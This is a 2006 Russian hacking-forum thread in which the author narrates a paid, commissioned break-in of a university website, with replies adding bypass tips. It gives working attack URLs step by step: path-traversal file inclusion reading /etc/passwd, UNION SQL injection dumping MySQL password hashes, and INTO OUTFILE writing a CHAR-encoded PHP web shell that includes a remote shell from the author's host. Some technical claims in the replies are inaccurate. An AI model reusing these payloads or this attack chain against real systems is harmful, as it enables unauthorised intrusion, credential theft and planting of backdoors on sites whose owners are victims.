Авторские статьи Записки охотника (за шеллами). Дополнение к статье про читалку файлов.

Discussion in 'Статьи' started by 1ten0.0net1, 22 Oct 2006.

  1. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Сразу оговорюсь - я не ставлю целью описать весь взлом. Я хотел бы просто показать как 10 минут назад я легко и комфортно освоил новый для себя метод взлома. Если быть более точным - ничего нового здесь нет, просто раньше мне не попадалась подобная комбинация багов.

    Глубокая ночь. За окном непроглядная темнота. Передо мной кружка с пакетиком чая. На голове - наушники.
    В ICQ общаюсь с заказчиком. Заказчик даёт две новые ссылки - это новые мишени для моей атаки. Ну что ж, посмотрим, что к нам пришло.

    http://www.university.edu/art/1/name.php?name=control&page=hell'o_world

    Скрипт был самописный, поэтому его название не столь важно. Важен другой факт, а именно:
    в имени переменной есть кавычка. Как минимум, это означает, что стоит ожидать отстутствия фильтрации кавычек в других переменных. Кроме того, скорее всего скрипт не передает запросы к базам данных, так как символ кавычки скорее всего сбивал структуру запроса. Мой совет - всегда обращайте внимание на состав символов в значениях переменных, входящих в запрос! Это сразу дает представление о том, чего стоит ожидать в ходе дальнейшего взлома, а чего - нет. В данном случае мои ожидания, подкрепленные фактом пристуствия кавычки в значении оправдались.

    Ну что ж - проверим переменную на возможность чтения файлов:

    http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../etc/passwd

    Еще один совет - в процессе выявления факта локального инклуда символы перехода на каталог выше ../ сначала стоит ставить после значения переменной, не удаляя ее самой. Это связано с тем, что в подобных скриптах очень часто стоит проверка на вхождение в значение переменной определенного названия каталога.

    Страница становится пустой - а это уже хорошо. Перемены, они всегда к лучшему ;-)


    http://www.university.edu/art/1/name.php?name=control&page=../../../../../../../../../../etc/passwd

    Пусто.


    http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../etc/passwd%00

    Нулевой байт нас не подвёл.

    root:x:0:1:Super-User (charlotte):/:/sbin/sh
    daemon:x:1:1:0000-Admin(0000):/:
    bin:x:2:2:0000-Admin(0000):/usr/bin:
    sys:x:3:3:0000-Admin(0000):/:

    .......

    Отлично. Проверим наш инклуд на "глобальность". Точнее, на удаленность:

    http://www.university.edu/art/1/name.php?name=control&page=http://somemysite.ru/shell.php
    http://www.university.edu/art/1/name.php?name=control&page=http://somemysite.ru/shell.php%00
    http://www.university.edu/art/1/name.php?name=control&page=http://somemysite.ru/shell
    http://www.university.edu/art/1/name.php?name=control&page=http://somemysite.ru/shell.php?

    Не инклудит. Жаль.

    Дальше я задумался. Стоит ли мне начать шастать по неизвестным директорися, проверять хистори и т. п. или же поискать другие баги. Так как домен был огромным, я решил не останавливаться на достигнутом и начал скурпулезный осмотр местности...

    Местность оказалась неровной и уже на второй переменной я нашёл не менее приятный для меня баг - SQL-injection.

    http://www.university.edu/stories.php?id='157'

    Кавычки жгут!!! Скажу честно, зачем значение параметра, выступающему в качестве начального ключа в одной из таблиц базы данных (это я про id - имхо в таблице он primary key) и имеющего в подавляющем большинстве случаев числовой тип передавать в кавычках - я не пойму до сих пор.
    P. S. - обрамление каычками - характерная черта типа CHAR.
    Но да и это не суть. А суть в том, что после запроса, вида:

    http://www.university.edu/stories.php?id='157''

    текст статьи исчез. Это радует. Поробуем поиграть в коперфильдов и заставить его появиться:

    http://www.university.edu/stories.php?id='157' order by 1/*

    О, чудо! С первой попытки он появился. Что ж - заставим его исчезнуть еще раз:

    http://www.university.edu/stories.php?id='157' order by 88/*

    Текст исчезает, а у нас появляется точная уверенность в том, что мы имеем на руках (на сервере) blind SQL-injection. Ну ничего, пусть она и слепая, но смотреть мы ее заставим. Поиграв со значением ORDER BY, я узнал, что начальный запрос доставал из таблицы три поля (это я выснил потому, что при order by 4 страница была пустой, а при order by 3 - c текстом).

    http://www.university.edu/stories.php?id='157' order by 3/*

    http://www.university.edu/stories.php?id='157' union select 1,2,3/*

    На странице текст все той же статьи. Но ведь текст нам не нужен, нужны волшебные циферки 1 2 3 (или хотя бы одна из них). Для этого поступаем так:

    http://www.university.edu/stories.php?id='-157' union select 1, 2, 3/*

    Приход состоялся - наблюдаем цифры.

    http://www.university.edu/stories.php?id='-157' union select 1, 2, USER()/*

    muelib@localhost


    Локалхост, хреново.

    http://www.university.edu/stories.php?id='-157' union select 1, 2, VERSION()/*

    4.1.2 stable

    Четверка, тоже не очень - пятерка намного лучше.

    http://www.university.edu/stories.php?id='-157' union select 1, 2, 3 from mysql.user/*

    Цифры на месте - искренне ликую.

    http://www.university.edu/stories.php?id='-157' union select 1, 2, user from mysql.user LIMIT 0,1/*

    Надпись root проявилась. Это еще лучше (иногда, пароль рута к БД подходит на ssh).

    http://www.university.edu/stories.php?id='-157' union select 1, 2, concat(user,char(58),password) from mysql.user LIMIT 0,1/*

    root:158200db52760077

    Запрос
    http://www.university.edu/stories.php?id='-157' union select 1, 2, concat(user,char(58),password) from mysql.user LIMIT 1,1/*

    выдает тоже самое.

    http://www.university.edu/stories.php?id='-157' union select 1, 2, concat(user,char(58),password) from mysql.user where user like 'muelib'/*

    moellb:6b186803528d40aa

    Плохо. Выводит только одну строку. Домен большой юзеров должно быть много. Устану я так подбирать для всех. Надо менять запрос, а это уже лишнее время (еще один совет - если запрос возвращает только одну строку, то поробуйте имзенить место вывода результата запроса, то есть в данном случае поставить вместо 2). Либо второй вариант - начать расшифровывать два полученных пароля. Так, если рут еще на ssh не проканает, то второй юзер на админку - 80% должен подойти. Но это же время.... А специфика заказов (у этого заказчика) состоит в том, что сайт должен быть взломан за определенное время - то есть, через сутки этот сайт становится ненужным, а за срочность, к тому же, всегда доплачивают. Почти всегда.

    Что же делать....

    Ладно, раз здесь столько ошибок и, кроме того, отсутсвует фильтрация, попробуем залить шелл при помощи оператора INSERT. Для этого читаем /etc/passwd при помощи читалки файлов, чтобы понять струткуру каталогов, там я нахожу полный путь к сайту, ибо там для каждого факультета (снаружи - это подкатологи на сайте) есть свой юзер (причем, все с доступом к командному интерпретатору си-шелл (csh)):
    /oldWWW/oldWWW/docs/www.university.edu

    http://www.university.edu/stories.php?id='-157' union select 1, 2, 3 from mysql.user INTO OUTFILE '/oldWWW/oldWWW/docs/www.university.edu/test1.txt'/*

    Этот запрос должен будет создать в корне сайта текстовик с символами 1 2 3.

    Но сначала я лучше подстрахуюсь и проверю возможность использования оператора INSERT:

    http://www.university.edu/stories.php?id='-157' union select 1, 2, 3 from mysql.user INTO OUTFILE '/tmp/test1.txt'/*

    Дальше через читалку проверяем:

    http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../tmp/test1.txt%00

    1 2 3 на экране.

    Попутно приходит мысль проверить возможность чтения файлов с web'а. Так, например, пользователь под которым я просматриваю файлы через читалку, имеет почти всегда больше (ну, уж точно не меньше) прав, чем просто посетитель сайта. То есть, найдя, например, админку, в ее директории можно юудет почитать конфиги и выцепить незашифрованые пароли к БД. Скажу сразу - я не смог найти админки, прочитал только robots.txt и без того доступный с web:

    http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../..//oldWWW/oldWWW/docs/
    www.university.edu/robots.txt%00


    User-agent: *
    Disallow: /_tt/
    Disallow: /_backs/
    Disallow: /SSEWI/

    User-agent: googlebot
    Disallow: *.csi


    Ладно, проверим возможность заливки шелла:

    http://www.university.edu/stories.php?id='-157' union select 1, 2, '<? system($_GET[cmd]); ?>' from mysql.user INTO OUTFILE '/tmp/test2.txt'/*

    Два важных замечания:
    1) Имя переменной cmd идет без кавычек, чтобы не разрушить структуру запроса;
    2) Функцию беру самую простую, т. к. вряд ли она будет отключена, с учетом всех предыдущих багов.

    Пробую просмотреть через читалку:

    http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../
    /tmp/test2.txt%00


    ....и вижу только один первый символ угловой скобки. "Вот *** " - выругался я. Фильтрация во время обработки запроса. Ладно, обойдем. Для этого воспользуемся функцией char(), возвращающей символ по его dec коду. Закодировать запрос можно вручную при помощи таблицы ASCII, а можно воспользоватся кодировщиком на сайте
    http://ha.ckers.org/xss.html

    Правда там он выдает несовсем в нужном нам виде.
    Внизу страницы в форму с подписью ASCII Text: забиваем текст шелла и смотри ниже на вывод результат кодировки в поле с подписью Decimal Value:. Выделяем полученное и копируем в тектовый редактор и через авто-замену меняем последовательность &# на ,
    Затем копируем полученное, удалив первую запятую в аргумент функции CHAR().

    В итоге имеем запрос:

    http://www.university.edu/stories.php?id='-157' union select 1, 2, char (60,63,32,115,121,115,116,101,109,40,36,95,71,69,84,91,99,109,100,93,41,59,32,63,62)
    from mysql.user INTO OUTFILE '/oldWWW/oldWWW/docs/
    www.university.edu/file.php'/*


    Заходим на www.university.edu/file.php и вместо ожидаемой белой страницы видим надпись
    Page not Found.

    Да что такое!! Ну-ка проверим еще раз через tmp:

    http://www.university.edu/stories.php?id='-157' union select 1, 2, char (60,63,32,115,121,115,116,101,109,40,36,95,71,69,84,91,99,109,100,93,41,59,32,63,62)
    from mysql.user INTO OUTFILE '/tmp/test3.txt'/*



    http://www.university.edu/art/1/name.php?name=control&page=hell'o_world/../../../../../../../../../../
    /tmp/test3.txt%00


    Проуем добавить в GET запрос имя новой переменной cmd:

    http://www.university.edu/art/1/name.php?name=control&page=hell'o_world&cmd=id

    ...и не видим ровным счетом ничего (в смысле, результата выполнения команды). Ни на странице, ни в ее исходном коде.

    Далее в течение 20 минут я пытался понять в чем дело, попутно ища Cain&Abel (R) для хешей, а также пытаясь найти при помощи читалки файлов что-нить интересное...

    ...Спустя 20 минут я понял, что коверкать устои плохо.
    Если изначально бага называлась локальный инклуд - то она и есть локальный инклуд, но никак не читалка! И именнно поэтому при попытке просмотра, если символ один - < мы его видим, если <? - то нет, ибо для сервера - это уже начало php кода. Поэтому я и видел пустой - файл. На самом деле, он не был пуст - и если бы у нас была возможность просмотреть его размер (ну или у меня хватило смекалки глянуть в исходник страницы) - мы бы убедились в этом. Обратите внимание:
    код интерпретируется, несмотря на расширение файла.

    Далее у меня пришла другая интересная мысль - а зачем я должен работать через system, в адресной строке с тремя переменными, если я могу просто заинклудить файл в тело нашей страницы. Сказано - сделано.

    Кодируем строку:
    <? include('http://moisite.ru/shell.php'); ?>

    Получаем:
    &#60&#63&#32&#105&#110&#99&#108&#117..........

    Заменяем, получаем запрос:

    http://www.university.edu/stories.php?id='-157' union select 1, 2, char (60,63,32,105,110,99,108,117,........................,32,63,62)
    from mysql.user INTO OUTFILE '/oldWWW/oldWWW/docs/
    www.university.edu/file1.php'/*


    Пробуем прочитать файл (а точнее - проинклудить!)
    и перед нами открывется шелл.

    Ура!

    P. S. Меня очень сильно удивила комбинация "локальный инклуд- SQL инъекция", что я поспешил поделиться радостью с товарищем +toxa+.
    А он удивил меня еще больше, натолкнув на мысль, что при помощи локального инклуда можно, например, обходить проблемы, возникающие при аплоаде шеллов в папки с рисунками. То есть, например - есть у тебя возможность подгрузки аватары и локальный инклуд - ты вместо аватары залил себе код шелла (если не фильтруется расширение файла), аон в данной папке исполнять не хочет. В таких случаях, обычно необходимо переместить псевдо-картинку в директорию, в которой разрешено исполнение PHP-скриптов. Или... Просто заинклудить картинку. Ну, вообщем, Вы меня поняли ;-)...

    Человеческая фантазия, а уж тем более хакерская, не знает границ. Никогда не стоит забывать, что любую ситуацию - будь то взлом, или просто какая-то жизненная ситуация - нельзя рассматривать по пунктам,
    ибо пункты в совокупности образуют список. Полочки стойку. А несколько багов - успешный взлом.

    Удачи!

    С уажением, 1ten0.0net1.

    P.P.S - при возникновении любых вопросов всегда готов ответить. Если не сильно занят, конечно.
     
    #1 1ten0.0net1, 22 Oct 2006
    Last edited: 22 Oct 2006
    20 people like this.
  2. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    любой файл в инклуде будет выполнаяться как пхп код вне зависимости от расширения...
     
    _________________________
    3 people like this.
  3. madnet

    madnet Умиротворенный

    Joined:
    9 Dec 2004
    Messages:
    868
    Likes Received:
    343
    Reputations:
    423
    Хм. мне показалось, что ты не совсем понимаеш суть
    blind SQL-injection.
     
    _________________________
    1 person likes this.
  4. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://hack-shop.org.ru/?page=6&ln=ru
    тут в char гараздо удобнее кодировать.
     
  5. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    .\./.\./etc/passwd(примет вид ../../etc/passwd) -возможность обойти "защиту" /../(двойных точек) которая преобразует ../../etc/passwd в etc/passwd . Бэкслеши обрубят друг друга.
     
    _________________________
    #5 ettee, 25 Jun 2007
    Last edited: 25 Jun 2007
  6. oseLHAX

    oseLHAX New Member

    Joined:
    7 Jan 2006
    Messages:
    5
    Likes Received:
    4
    Reputations:
    3
    все давно знаем и юзаем ядовитый нулик для того, чтобы избавиться от ненужного нам расширения файла. если в скрипте инклудится include("/includes/".$_GET[$page].".php"), при fuck.php?page=about мы увидим страничку about.php, которая лежит в папке includes. к примеру, если мы хотим прочитать /etc/passwd, нужно переместиться в корневую диру (../../../../../../) и заюзать тот самый нуль байт: fuck.php?page=../../../../../../etc/passwd%00. cоответственно, если не поставим в конце %00, то скрипт попытается открыть /etc/passwd.php, что у него нифига не получится.

    в общем, вопрос ) раньше где-то читал, что почем, как и где, но сейчас забылось.. почему он, каким образом?? ))) и какая функция пшп включает экранирование, т.е %00 заменяется на "\".. и возможно ли обойти такую бяку?
     
  7. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389

    Потому как библиотеки php написаны на C, а в этом языке %00 - это символ конца строки.

    Есть еще несколько символов из того же ряда. Стоит иногда попробовать и их:
    %0D
    %0A
    %3E

    Последний, как я читал, смог сработать только на при определенном прокси... вообщем, суть я не понял, но факт имел место быть. Первые два - кажется символ новой строки и табуляция.

    По поводу экранирования спец. символов - включается обычно в настройках php при установке опции safe_mode=On. Кстати, функция, кажется для этого - add_slashes().
     
    1 person likes this.
  8. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Вообще символ конца строки это \0 +)
     
    _________________________
  9. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    0d - возврат каретки, 0A - перевод строки. Данные символы используются вместе или раздельно в зависимости от системы с которой имеем дело. Писал как-то некое подобие статьи на этот счет.
     
  10. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    http://www.inattack.ru/article/631.html
    в тему имхо. интересная штука. жалко только что win only.
     
    _________________________
    3 people like this.